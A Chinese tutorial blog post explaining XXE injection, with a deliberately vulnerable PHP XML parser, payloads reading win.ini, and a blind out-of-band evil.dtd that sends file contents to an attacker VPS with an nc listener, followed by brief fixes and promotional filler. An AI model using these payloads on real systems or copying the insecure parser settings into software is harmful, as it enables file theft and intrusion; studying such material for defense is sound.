一文学会XXE漏洞,从零基础到精通,收藏这篇就够了!

漏洞揭秘:XXE的“前世今生”

XXE,全名XML外部实体注入,听起来高大上,其实就是XML这门“语言”的一个小Bug。要理解XXE,咱们得先聊聊XML是啥。简单来说,XML就像一个结构化的记事本,用各种标签来描述数据。

一个XML文档通常包含三部分:

  • XML声明:告诉解析器这是个XML文件。
  • 文档类型定义(DTD):定义XML文档的结构和规则。
  • 文档元素:实际的数据内容。

DTD是XXE漏洞的“罪魁祸首”,它允许我们定义一些“实体”,就像编程语言里的变量。DTD分为内部声明和外部引用两种方式:

<!-- 内部声明DTD格式: -->
<!DOCTYPE 根元素 [元素声明]>

<!-- 外部引用DTD格式: -->
<!DOCTYPE 根元素 SYSTEM "DTD文件路径">

定义好DTD之后,就可以在DTD中进行实体声明,实体声明也分为两种:内部实体声明和外部实体声明。外部实体允许定义可以引用外部资源(文件或URL)的实体,这才是XXE漏洞的根源!

<!-- 内部实体: -->
<!ENTITY 实体名称 "实体的值">

<!-- 外部实体: -->
<!ENTITY 实体名称 SYSTEM "URI">

这些实体类型统称为通用实体,除此之外还存在一种类型名为参数实体,参数实体的定义就是在实体名称前面加上%,而引用参数实体只能在DTD中进行。

<!-- 内部参数实体: -->
<!ENTITY % 实体名称 "实体的值">

你可以把实体想象成一个变量,实体名称就是变量名,实体的值就是变量值。

如果应用程序在解析XML数据时,没有禁用外部实体的解析功能,攻击者就可以构造恶意的XML数据包,利用外部实体访问不该暴露的资源,甚至控制服务器!

实战演练:XXE漏洞的“十八般武艺”

假设服务端处理XML的代码如下:

<?php
// 接收XML数据
$xmlData = file_get_contents('php://input');

// 加载XML
$dom = new DOMDocument();
$dom->loadXML($xmlData, LIBXML_NOENT | LIBXML_DTDLOAD);

// 获取用户名
$username = $dom->getElementsByTagName('username')->item(0)->textContent;

// 返回结果
echo "Hello, " . $username . "!";
?>

1、有回显?So Easy!直接“读心术”

如果服务器会把XML解析的结果返回给你,那XXE利用就简单多了,就像拥有了“读心术”!

利用内部声明DTD的格式,定义外部实体变量,读取win.ini文件:

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >
]>
<foo>&xxe;</foo>

请求包如下:

如果读取的敏感文件内容存在特殊字符,可能导致回显出现问题。别慌!我们可以对文件内容进行base64编码,再读取!

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/windows/win.ini" >
]>
<foo>&xxe;</foo>

2、无回显?别慌!“盲人摸象”也行!

如果服务器不返回XML解析的结果,那XXE利用就稍微复杂一些,需要用到一些“黑科技”。

核心思路:利用外部DTD文件,将读取到的文件内容发送到我们自己的服务器上!

1)首先,我们需要准备一个DTD文件evil.dtd,放在你的VPS上,文件内容如下:

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/windows/win.ini">
<!ENTITY % int "<!ENTITY &#x25; send SYSTEM 'http://你的VPS地址:2333/?file=%file;'>">
%int;
%send;

这个DTD文件中定义了外部参数实体file,用来读取win.ini文件内容;外部参数实体int的内容是另一个外部参数实体send的定义,并且将实体file的内容拼接到url中,做带外请求。

2)在vps上DTD文件所在目录开启http服务:

python -m http.server

3)在vps上开启nc监听:

nc -lnvp 2333

4)发送如下POC:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY % remote SYSTEM "http://你的VPS地址/evil.dtd">
  %remote;
]>
<foo>&send;</foo>

其中定义了外部参数实体remote,并在DTD中进行引用,这一步操作会将vps上的evil.dtd文件加载,然后分别引用实体int和send,触发evil.dtd文件中的xml代码。

5)nc成功收到数据:

3、内网漫游?“顺藤摸瓜”不是梦!

XXE漏洞不仅可以读取文件,还可以利用它来探测内网主机!

核心思路:利用http协议,尝试访问内网IP地址,如果能访问,说明该主机存活!

这里推荐一个工具:

https://github.com/JJThome/LTools/blob/main/web%E6%BC%8F%E6%B4%9E/XXE/xxe_HttpScan.py

亡羊补牢:XXE漏洞的“葵花宝典”

XXE漏洞危害巨大,修复起来却很简单,只需要记住以下两点:

  1. 禁止使用外部实体! 在代码中禁用XML外部实体的解析功能,例如在PHP中可以使用libxml_disable_entity_loader(true)
  2. 过滤用户输入的XML数据! 防止用户输入恶意的XML代码。

总结:XXE漏洞虽然隐蔽,但只要我们了解其原理,掌握利用方法,并采取有效的防御措施,就能轻松应对!

黑客/网络安全学习包

资料目录

  1. 成长路线图&学习规划

  2. 配套视频教程

  3. SRC&黑客文籍

  4. 护网行动资料

  5. 黑客必读书单

  6. 面试题合集

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

*************************************CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*************************************

1.成长路线图&学习规划

要学习一门新的技术,作为新手一定要先学习成长路线图方向不对,努力白费

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。


因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

*************************************CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*************************************

2.视频教程

很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩


因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

*************************************CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*************************************

3.SRC&黑客文籍

大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录

SRC技术文籍:

黑客资料由于是敏感资源,这里不能直接展示哦!

4.护网行动资料

其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!

5.黑客必读书单

**

**

6.面试题合集

当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。

更多内容为防止和谐,可以扫描获取~

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

*************************************CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*********************************

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

程序员一粟

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值